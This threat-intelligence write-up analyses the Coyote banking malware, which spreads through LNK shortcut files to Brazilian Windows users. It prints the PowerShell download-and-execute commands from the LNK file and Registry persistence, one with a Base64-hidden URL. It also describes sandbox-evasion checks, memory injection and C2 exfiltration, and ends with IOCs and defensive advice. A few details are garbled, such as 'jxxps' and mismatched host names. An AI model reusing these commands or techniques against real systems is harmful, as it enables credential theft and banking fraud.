How Coyote Banking Malware Uses LNK Files to Attack 1,000+ Websites and 70+ Banks

A very sophisticated malware attack, currently making waves in the information security community, was recently discovered by FortiGuard Labs. This attack targets Windows computer users in Brazil and is part of a campaign delivering malicious banking software called Coyote. The attack campaign uses LNK files containing PowerShell commands designed to execute malicious scripts and connect to remote servers. Once executed, this malware can perform actions like taking screenshots, displaying phishing overlays to steal sensitive credentials, and keylogging.
The attack process
According to research by FortiGuard Labs, first, the LNK shortcut file with suspicious parameters in the "Target" field will execute and run a PowerShell command to connect to a remote server. The command is as follows:
-w hid -noni -ep Bypass -c “Start-Job -Name PSSGR -ScriptBlock { IEX (iwr -Uri ‘hxxps://tbet[.]geontrigame[.]com/zxchzzmism’ -UseBasicParsing).Content }; Start-Sleep 131.”

After execution, the victim will connect to the remote server (tbet.geontrigame[.]com) and then download additional payloads and execute them for the attack. Researchers have analyzed different LNK files and discovered various URLs in the parameter:
| URLs in Arguments |
| hxxps://tbet.geontrigame[.]com/zxchzzmism |
| hxxps://hrod.geontrigame[.]com/edsfluzevj |
| hxxps://easi.geontrigame[.]com/wydqfchssb |
| hxxps://iivi.geontrigame[.]com/zkrghotqvy |
| hxxps://cuzo.geontrigame[.]com/pxylqhpuiv |
| hxxps://btee.geontrigame[.]com/mvkrouhawm |
| hxxps://qmnw.daowsistem[.]com/fayikyeund |
| hxxps://bhju.daowsistem[.]com/iwywybzqxk |
| hxxps://lgfd.daowsistem[.]com/riqojhyvnr |
| hxxps://leme.daowsistem[.]com/omzowcicwp |
| hxxps://igow.scortma[.]com/fqieghffbm |
| hxxps://quit.scortma[.]com/xzcpnnfhxi |
| hxxps://llue.geontrigame[.]com/byyyfydxyf |
| hxxps://cxmp.scortma[.]com/qfutdbtqqu |
| hxxps://xrxw.scortma[.]com/gmdroacyvi |
| hxxps://qfab.geontrigame[.]com/vfofnzihsm |
The content in the downloaded PowerShell script contains 2 encoded data segments as follows:

After being decoded, the code will be injected into memory using Windows API functions like VirtualAllocEx and WriteProcessMemory. This process is carried out by a DLL loader (bmwiMcDec) to inject the payload npuGDec.
After that, the malware will create persistence by modifying the Windows Registry at “HCKU\Software\Microsoft\Windows\CurrentVersion\Run“. First, it will check if there is any PowerShell command in this entry; if there is, it will delete it and create a new entry with a random name. This entry contains a PowerShell command to download and execute a Base64-encoded URL that contains the main functions of the Coyote malware. The URL, once decoded, is:
hxxps://yezh[.]geontrigame[.]com/vxewhcacbfqnsw

If it's a new target, the malware will collect information about the machine, such as the device name, username, and operating system details, and send it to the attacker's server. It will also search for antivirus programs installed on the machine by querying the SecurityCenter2 namespace in Windows Management Instrumentation (WMI). The information will then be separated by the "|" symbol, encoded in Base64, and reversed. This string will then be added as a parameter and sent to the remote control server, as shown in the following example URL:
hxxps://yezh[.]geontrigame[.]com/hqizjs/?l=y4CMuADfvJHUgATMgM3dvRmbpdFI0Z2bz9mcjlWT8JXZk5WZmVGRgM3dvRmbpdFfzlmcoNEf0IDR0Ul(omit)
After setting up and checking, the malware will call CreateProcess to execute the PowerShell command just added to the Registry to call the following payload:
powershell -w hid -noni -ep Bypass -c “$w=New-Object Net.WebClient;$u=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly95ZXpoLmdlb250cmlnYW1lLmNvbS92eGV3aGNhY2JmcW5zdw=='));IEX $w.DownloadString($u).”
This payload is similar to the payload downloaded from the LNK file but is larger because it contains the main part of the Coyote malware.

After decoding, the payload above has the following functions:
Check the username. If the username is a test or sandbox name like Johnson, Miller, maltest, Sandbox, John Doe, etc.
Check the environment for folders related to virtual machines. It will look for strings in “C:\Windows\System32“ that contain qemu-ga, qemuwmi, balloon.sys, netkvm.sys, vioinput, viofs.sys, and vioser.sys.
Build a target list: The Coyote malware expands the target list to include 1,030 websites and 73 financial enterprises.
Connect to the C2 server: Coyote will continue to monitor active devices to detect if the victim connects to the targets. If there is a connection to the target, it will send information to the C2 server through port 443. The server includes: eraatualiza[.]com, masterdow[.]com, and geraupdate[.]com. Depending on the information returned from the C2 server, the malware will perform actions such as viewing, taking screenshots, clicking the mouse, executing a keylogger, shutting down the device, etc.
The attack chain of the Coyote malware is as follows:

IOC
URL
hxxps://btee[.]geontrigame[.]com/mvkrouhawm
jxxps://qmnw[.]daowsistem[.]com/fayikyeund
hxxps://bhju[.]daowsistem[.]com/iwywybzqxk
hxxps://lgfd[.]daowsistem[.]com/riqojhyvnr
hxxps://leme[.]daowsistem[.]com/omzowcicwp
hxxps://igow[.]scortma[.]com/fqieghffbm
hxxps://quit[.]scortma[.]com/xzcpnnfhxi
hxxps://llue[.]geontrigame[.]com/byyyfydxyf
hxxps://cxmp[.]scortma[.]com/qfutdbtqqu
hxxps://xrxw[.]scortma[.]com/gmdroacyvi
hxxps://qfab[.]geontrigame[.]com/vfofnzihsm
hxxps://tbet[.]geontrigame[.]com/zxchzzmism
hxxps://yezh[.]geontrigame[.]com/vxewhcacbfqnsw
Host
geraatualiza[.]com
masterdow[.]com
geraupdate[.]com
File SHA-256 hash
362af8118f437f9139556c59437544ae1489376dc4118027c24c8d5ce4d84e48
330dffe834ebbe4042747bbe00b4575629ba8f2507bccf746763cacf63d655bb
33cba89eeeaf139a798b7fa07ff6919dd0c4c6cf4106b659e4e56f15b5809287
552d53f473096c55a3937c8512a06863133a97c3478ad6b1535e1976d1e0d45f
64209e2348e6d503ee518459d0487d636639fa5e5298d28093a5ad41390ef6b0
67f371a683b2be4c8002f89492cd29d96dceabdbfd36641a27be761ee64605b1
73ad6be67691b65cee251d098f2541eef3cab2853ad509dac72d8eff5bd85bc0
7cbfbce482071c6df823f09d83c6868d0b1208e8ceb70147b64c52bb8b48bdb8
839de445f714a32f36670b590eba7fc68b1115b885ac8d689d7b344189521012
bea4f753707eba4088e8a51818d9de8e9ad0138495338402f05c5c7a800695a6
f3c37b1de5983b30b9ae70c525f97727a56d3874533db1a6e3dc1355bfbf37ec
fd0ef425d34b56d0bc08bd93e6ecb11541bd834b9d4d417187373b17055c862e
Recommendation
With complex and sophisticated attack methods, FPT Threat Intelligence has the following recommendations:
Regularly update antivirus software to detect and block the latest malware
Update IOCs related to malware
Do not open strange or suspicious files
Implement monitoring measures to detect unusual activities and behaviors on endpoints, such as EDR, XDR, etc.






